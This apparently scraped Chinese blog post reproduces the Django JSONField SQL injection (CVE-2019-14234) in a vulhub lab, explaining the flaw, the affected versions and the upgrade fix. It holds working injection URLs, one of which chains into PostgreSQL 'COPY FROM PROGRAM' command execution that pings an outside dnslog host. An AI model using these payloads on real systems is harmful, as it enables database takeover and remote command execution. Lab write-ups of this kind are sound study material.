日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Django CVE-2019-14234

發布時間:2024/6/3 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Django CVE-2019-14234 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

CVE-2019-14234:Django JSONField SQL注入漏洞復現

  • 你剝開一個很酸的橙子而感到后悔了,可對于橙子來說,那是它的一切.

該漏洞需要開發者使用了JSONField/HStoreField,且用戶可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。

漏洞概述:

Django通常搭配postgresql數據庫,而JSONField是該數據庫的一種數據類型。該漏洞的出現的原因在于Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字符串拼接。

通過JSONField類獲得KeyTransform類并生成sql語句的位置。
其中key_name是可控的字符串,最終生成的語句是WHERE (field->’[key_name]’) = ‘value’,因此可以進行SQL注入。

漏洞版本:

  • Django
    1.11.x before 1.11.23
    2.1.x before 2.1.11
    2.2.x before 2.2.4

漏洞復現:

  • vulhub搭建,進行訪問

  • 通過對代碼的分析,可以知道如果在你的Django中使用了JSONField并且查詢的“鍵名”可控,就可以進行SQL注入

  • 訪問http://ip:8000/admin輸入用戶名admin ,密碼a123123123

  • 然后訪問http://ip:8000/admin/vuln/collection/

  • 構造URL進行查詢,可以看到已經注入成功,并且可以看到構造的SQL語句
    http://ip:8000/admin/vuln/collection/?detail__a%27b=123

    7.下一步結合CVE-2019-9193我們嘗試進行命令注入,構造url如下
    ?detail__title’)%3d’1’ or 1%3d1 %3bcreate table cmd_exec(cmd_output text)–%20

  • 然后用dnslog檢測是否可以執行命令
    http://192.168.224.128:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20wyz26d.dnslog.cn%27–%20

  • 成功檢測到流量

  • 漏洞修復:

    • 升級升級升級。

      余生很長,請多指教。

    總結

    以上是生活随笔為你收集整理的Django CVE-2019-14234的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。